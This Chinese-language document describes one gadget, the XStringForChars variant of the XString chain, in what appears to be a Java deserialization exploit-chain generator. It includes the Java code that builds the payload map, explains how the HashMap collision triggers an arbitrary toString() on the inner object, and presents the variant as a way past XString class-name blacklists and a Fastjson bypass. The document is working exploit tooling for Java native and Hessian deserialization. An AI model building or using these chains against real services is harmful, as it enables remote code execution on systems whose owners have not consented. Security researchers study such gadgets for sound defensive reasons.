- 类别:javanative 别名:— 优先级:—
- 作者:—
- 依赖:
spring-aop:org.springframework.aop.target.HotSwappableTargetSource、jdk:com.sun.org.apache.xpath.internal.objects.XStringForChars
XString1 的 XStringForChars 变体:用 JDK 内置的 com.sun.org.apache.xpath.internal.objects.XStringForChars(XString 的字符数组子类)替代 XString,同样通过 HashMap 碰撞 → HotSwappableTargetSource.equals → XStringForChars.equals,最终对内层对象调用任意 toString()。用于在 XString 被黑名单拦截、或需要不同类签名时替代主变体。
- 入口
tags:JavaNativeDeserialize、HessianDeserialize—— 承接 Java 原生反序列化 / Hessian 反序列化入口。 - 衔接
nextTags:ToString—— 之后接一个「入口为toString()」的 gadget。 excludes:(无)
public Object getObject(Object object) throws Exception {
XStringForChars xString = new XStringForChars(new char[0], 0, 0); // 空 char[] 构造
Reflections.set(xString, "m_strCache", ""); // 反射预置字符串缓存,避免 equals 中 NPE
HotSwappableTargetSource h1 = new HotSwappableTargetSource(object);
HotSwappableTargetSource h2 = new HotSwappableTargetSource((Object)xString);
HashMap map = PayloadHelper.makeMap(h1, h2);
return map;
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
Object object = chain.doCreate(context);
Object getterObject = context.get(ContextTag.FASTJSON_HANDLE_BYPASS_KEY);
Object resultObject = this.getObject(object);
if (getterObject != null) {
return CommonMethod.listWrap(getterObject, resultObject);
}
return resultObject;
}与 XString1 的差异:
- 载体换为
XStringForChars,其构造器需要(char[] ch, int start, int length);此处传空数组new char[0], 0, 0。 - 关键的额外一步
Reflections.set(xString, "m_strCache", ""):XStringForChars的父类XString在equals/str()计算时会读取m_strCache字段;空 char[] 构造下该缓存可能为null,直接触发会抛NullPointerException。反射预置为空串"",保证equals(obj2)顺利走到this.str().equals(obj2.toString()),从而对内层object调用toString()。 - 其余触发链与 XString1 完全一致:
HashMap.readObject同桶碰撞 →HotSwappableTargetSource.equals转比target→XStringForChars.equals(object)→object.toString()。
invoke 中的 FASTJSON_HANDLE_BYPASS_KEY 处理同 XString1:Fastjson handle 绕过场景下用 CommonMethod.listWrap 再套一层 List,常规场景直接返回 HashMap。
本类无 @Param,无用户可配字段;内层对象与上下文由链自动注入。
- 使用 JDK 内置
XStringForChars,无需第三方 XML 依赖,仅需spring-aop的HotSwappableTargetSource。 - 相较
XString,XStringForChars是不同的具体类,可在目标对XString做了类名黑名单、但未覆盖其子类时作为绕过手段。 - 需注意
m_strCache反射初始化——这是本变体能正常触发而不抛 NPE 的必要条件。 - 同样受 JDK 模块化后
com.sun.org.apache.xpath.internal.*可用性影响。
自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。
- 下游(
nextTags=ToString):JacksonToString、FastjsonToString1、FastjsonToString2、XBeanToString、RomeToStringBean1/2、SpringAopAspectjweaver。 - 同族变体:XString1(
XString)、XString3(XStringForFSB)、XalanXString1(xalan 独立包)。